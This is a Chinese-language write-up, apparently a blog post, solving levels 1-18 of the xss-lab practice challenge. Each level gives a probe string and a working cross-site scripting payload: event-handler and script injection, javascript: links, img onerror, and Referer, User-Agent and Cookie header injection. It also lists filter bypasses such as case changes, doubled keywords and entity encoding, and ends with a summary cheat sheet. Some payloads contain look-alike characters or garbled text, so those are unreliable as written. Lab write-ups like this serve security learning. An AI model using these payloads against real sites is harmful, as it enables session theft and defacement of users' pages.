XSS攻击-xss-lab(1-18)详细讲解


XSS攻击-xss-lab(1-18)详细讲解
XSS_LAB XSS漏洞总结 (含做题思路和方法)
在这里插入图片描述

level1

在这里插入图片描述
没啥好说的?name=<script>alert(123)</script>
在这里插入图片描述
在这里插入图片描述

level2

二话不说输入<script>alert(123)</script> 点击搜索
在这里插入图片描述
没反应
在这里插入图片描述
上探测用的万能语句,点击搜索


用于探测的万能语句:
<SCRscriptIPT>'"()Oonnjavascript

在这里插入图片描述
看结果,万能探测语句'"()Oonnjavascript的双引号前面的内容'被放到value值里面了,双引号后面的内容被当成了一个属性,意思就是双引号是value值的闭合字符
构造语句,先用双引号闭合value,然后因为input标签里面每个属性之间要用空格隔开 ,所以双引号后面加一个空格,再用onfocus事件来执行js代码alert(123),因为属性与属性之间用空格隔开,为了防止出错,任何情况下都在属性后面加一个空格,所以这个地方我们加一个空格,最后用>来闭合<input
onfocus事件用法:放在input标签里面,作为一个属性,οnfοcus=javascript:alert(123)

注意:onfocus=javascript:alert(123)后面加一个空格,因为onfocus事件是一个属性,后面空格不要漏,不然有些情况下会出错
" onfocus=javascript:alert(123) >

在这里插入图片描述
看结果,这里注意,onfocus事件只有当input输入框聚焦时也就是被点击时才会触发,所以我们点一下输入框,可以了
在这里插入图片描述

level3

二话不说,上探测的万能语句:
'"()Oonnjavascript
在这里插入图片描述
发现单引号前面的内容被赋值给了value,也就是说单引号是value的闭合字符,构造语句开头一个单引号,后面加一个空格(input标签里面属性直接用空格隔开)剩余内容跟第二题一样

' onfocus=javascript:alert(123) >

在这里插入图片描述

level4

跟上面一样用探测的万能语句:
'“()Oonnjavascript
闭合字符为”,其他跟第二题一样


" onfocus=javascript:alert(123) >

在这里插入图片描述

level5

跟上面一样用探测的万能语句:
'"()Oonnjavascript
发现闭合字符为双引号,并且o后面被自动添加了下划线_
在这里插入图片描述
用 标签解决
a标签用法<a href= > haha
需要注意的是a标签不是用在input标签里面的,所以需要将input标签闭合后使用
构造,先用"闭合value,再用>闭合input,然后用a标签

" ><a href=javascript:alert(123)>haha</a>

在这里插入图片描述
点击haha,可以了
在这里插入图片描述

level6

跟上面一样用探测的万能语句:
'"()Oonnjavascript
闭合字符是双引号
在这里插入图片描述
用onfocus事件,报错,给你在o后面加了下划线
用a标签,报错,给你在r后面加了下划线
在这里插入图片描述
在这里插入图片描述
o跟r后面被加了_防止xss,试试大写R能不能绕过检测,可以了

" ><a hRef=javascript:alert(123)>haha</a>

在这里插入图片描述

level7

跟上面一样用探测的万能语句:
'"()Oonnjavascript
发现闭合字符是双引号,并且script被过滤了,on也被过滤了,双写绕过
在这里插入图片描述

" oonnfocus=javascscripscrips:alert(123) >

在这里插入图片描述

level8

跟上面一样用探测的万能语句:
'"()Oonnjavascript
发现语句通过链接跑下面来了,输入的内容进入了a标签href里面
那么我们直接输js代码试试javascript:alert(1)

在这里插入图片描述
在这里插入图片描述
r后面被加了下划线,换成大写R,也不行,大写直接被转换成小写,后面依旧有下划线
那就用Unicode编码试试
在这里插入图片描述

javasc&#114;ipt:alert(1)

在这里插入图片描述

level9

跟上面一样用探测的万能语句:
'"()Oonnjavascript
显示链接不合法
在这里插入图片描述
这题跟第八题一样,语句通过链接跑下面来了,输入的内容进入了a标签href里面,用javascript:alert(1)测试一下,也是链接不合法
那么我们找一个正常的链接
在这里插入图片描述
把这个链接地址放后面https://github.com/,需要注意的是要将https改为http,因为https是加密的协议,我觉得可能不能够用来当做跳转链接,另一个要注意的点就是js语句跟链接中间要加上//
否则js语句不会被执行

javascript:alert(1)//http://github.com/

连接添加成功,但是字母r后面被添加了下划线,换成大写R也不行
在这里插入图片描述
那么跟第八题一样,将字母r转化为Unicode编码试试,可以了

javasc&#114;ipt:alert(1)//http://github.com/

在这里插入图片描述

level10

跟上面一样用探测的万能语句:
'"()Oonnjavascript

?keyword=<SCRscriptIPT>'"()Oonnjavascript

&t_link=123&t_history=456&t_sort=789
发现三个参数的value值都是空的
在这里插入图片描述
我们测试一下三个参数
依旧用探测的万能语句:

?keyword=123&t_link=<SCRscriptIPT>'"()Oonnjavascript&t_history=<SCRscriptIPT>'"()Oonnjavascript&t_sort=<SCRscriptIPT>'"()Oonnjavascript

发现探测语句只进入了参数t_sort ,闭合字符为双引号,并且<>被过滤了,看下面图,我们探测的时候用的是,到了value值里面就变成了SCRscriptIPT,括号被过滤了。

所以我们接下来要做得事情是,首先&参数t_sort,然后用双引号闭合value值,接着将type类型从hidden隐藏改为text文本,再用onfocus事件触发js语句,最后别忘了,因为我们用双引号闭合了value,所以value本身有的一个双引号多出来了,我们在οnfοcus="javascript:alert(123) 也就是javascript前面加一个双引号,来闭合value多出来的双引号,其实嘛xss呀sql注入呀,最麻烦的就是闭合,闭合搞定了,剩下的就简单了
在这里插入图片描述
说干就干

?keyword=123&t_sort=" type=text οnfοcus="javascript:alert(123)

在这里插入图片描述

level11

这题开始就不一样了
输入?keyword=123,抓包
在这里插入图片描述
在请求报文里面加referer头为123,参数t_ref的value值就变成123
在这里插入图片描述
知道这一点就简单了,后面内容跟第十题一样

referer:" type=text οnfοcus="javascript:alert(123)

在这里插入图片描述

level12

十一题会了十二题就简单了,打开一看好家伙,参数t_ua的value值不就是,User-Agent:后面的内容吗,抓个包,改一下User-Agent:后面的内容看看
在这里插入图片描述
果然,意料之中
在这里插入图片描述
剩下的就跟第十题和十一题一样了

User-Agent:" type=text οnfοcus="javascript:alert(123)

在这里插入图片描述

level13

十三题跟上面一样,一看应该是cookie
在这里插入图片描述
抓个包,Cookie一栏中user后面输入123,PHPSESSID后面输入456,看一下结果,结果说明user后面的内容全部放进value中了,那其余内容就跟10,11,12题一样了
在这里插入图片描述

Cookie: user=" type=text οnfοcus="javascript:alert(123)

在这里插入图片描述

level14

iframe调用的文件地址无法访问,本体题目已经无法做了

level15

因为十四关题目出问题了,所以先回到13关,然后url栏改为level15.php直接来到15关
在这里插入图片描述

?src='level1.php?name=<img src=1 οnerrοr=alert(123)>'

level16

做这一题前先搞清楚一个参数,就是keyword
keyword参数是显示在没有找到和good job!相关结果这里的,也就是说,看我们的head头,十二关完成后十三关会给你自动加上?keyword=goodjob
在这里插入图片描述
那么十六关我们发现,这个center标签中间的内容是空的,用参数keyword试一下
在这里插入图片描述
果然keyword后面的内容放center标签里面了
在这里插入图片描述
然后我们用a标签<a href=javascript:alert(/dreeee/)>别点我没结果</a>去测试 用<script>alert(123)</script> 去测试
发现空格和/和script都被转成&nbsp
在这里插入图片描述
那么就用img标签

空格不能用,img标签又是支持换行的
所以

<img
src=1
onerror=alert(123)> 

换行符的url码是%0A
所以

?keyword=<img%0Asrc=1%0Aonerror=alert(123)> 

在这里插入图片描述

level17

?arg01=a&arg02=b οnmοuseοver=alert(123)

level18

?arg01=a&arg02=b οnmοuseοver=alert(123)

XSS总结

用于探测的万能语句:
<SCRscriptIPT>'"()Oonnjavascript

<script>alert(123)</script> 

闭合(难点)

事件:οnmοuseοver、onfocus    ----onfocus=javascript:alert(123)---οnmοuseοver=alert(123)-----

img标签   <img src=1 onerror=alert(123)> 
a标签   <a href=javascript:alert(123)>haha</a>
Unicode编码绕过,大小写绕过,双写绕过
a标签href后面javascript:alert(123)//http://github.com/
抓包改referer,cookie,User-Agent: 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值